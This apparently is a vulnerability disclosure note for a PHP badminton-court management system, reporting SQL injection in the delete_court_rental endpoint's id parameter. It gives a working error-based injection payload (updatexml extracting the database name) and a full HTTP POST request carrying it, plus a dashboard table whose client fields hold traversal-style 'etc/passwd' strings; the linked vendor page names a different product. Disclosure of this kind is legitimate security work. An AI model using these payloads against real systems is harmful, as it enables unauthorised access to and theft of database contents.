

🔑 main ▾

...

badminton-center-management-system / badminton-center-management-system.md



mikecltt Update badminton-center-management-system.md

🕒 History

👤 1 contributor

33 lines (24 sloc) | 1.23 KB

...

badminton-center-management-system has SQL injection vulnerability

vendors: <https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-source-code.html>

Date: 2022-05-06

Vulnerability File: /bcms/classes/Master.php?f=delete_court_rental

Vulnerability location: /bcms/classes/Master.php?f=delete_court_rental, id

[+] Payload: id=5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

Tested on Windows 10, XAMPP

```
POST /bcms/classes/Master.php?f=delete_court_rental HTTP/1.1
Host: bcms.com
Proxy-Connection: keep-alive
Content-Length: 65
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
```

Cookie: PHPSESSID=4gth9auqof3f53e4gedjm3dct2

```
id=5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```

Dashboard
Baumgarten Court Management - Admin
Administrator admin

Main

Reports

Master List

Maintenance

Court Rentals

Sales

Service Transactions

Daily Court Rentals Report

Daily Sales Report

Daily Services Report

Court List

List of Product

List of Services

User List

Settings

List of Court Rentals

Show 10 entries

Search:

[+ Create New](#)

#	Date Created	Client	Court	Start	End	Status	Action
1	2022-05-06 22:06	123	Court 3	Feb 22, 02:22 10:22 PM	Nov 30, -0001 12:00 AM	On-Going	Action ▾
2	2022-05-06 22:06	123	Court 3	Feb 22, 02:22 10:22 PM	Nov 30, -0001 12:00 AM	On-Going	Action ▾
3	2022-05-06 22:06	-,-,-,-,-,-,-,-,-,-,-,-,-,-,-,-,-,-,-etc/passwd	Court 3	Feb 22, 02:22 10:22 PM	Nov 30, -0001 12:00 AM	On-Going	Action ▾
4	2022-05-06 22:06	123	Court 3	Feb 22, 02:22 10:22 PM	Nov 30, -0001 12:00 AM	On-Going	Action ▾
5	2022-05-06 22:06	123	Court 3	Feb 22, 02:22 10:22 PM	Nov 30, -0001 12:00 AM	On-Going	Action ▾
6	2022-05-06 22:06	123	Court 3	Feb 22, 02:22 10:22 PM	Nov 30, -0001 12:00 AM	On-Going	Action ▾
7	2022-05-06 22:06	123	Court 3	Feb 22, 02:22 10:22 PM	Nov 30, -0001 12:00 AM	On-Going	Action ▾
8	2022-05-06 22:06	123	Court 3	Feb 22, 02:22 10:22 PM	Nov 30, -0001 12:00 AM	On-Going	Action ▾
9	2022-05-06 22:06	123	Court 3	Feb 22, 02:22 10:22 PM	Nov 30, -0001 12:00 AM	On-Going	Action ▾
10	2022-05-06 22:06	-,-,-,-,-,-,-,-,-,-,-,-,-,-,-,-,-,-,-etc/passwd123	Court 3	Feb 22, 02:22 10:22 PM	Nov 30, -0001 12:00 AM	On-Going	Action ▾

Showing 1 to 10 of 400 entries

[Previous](#)
1
2
3
5
...
40
[Next](#)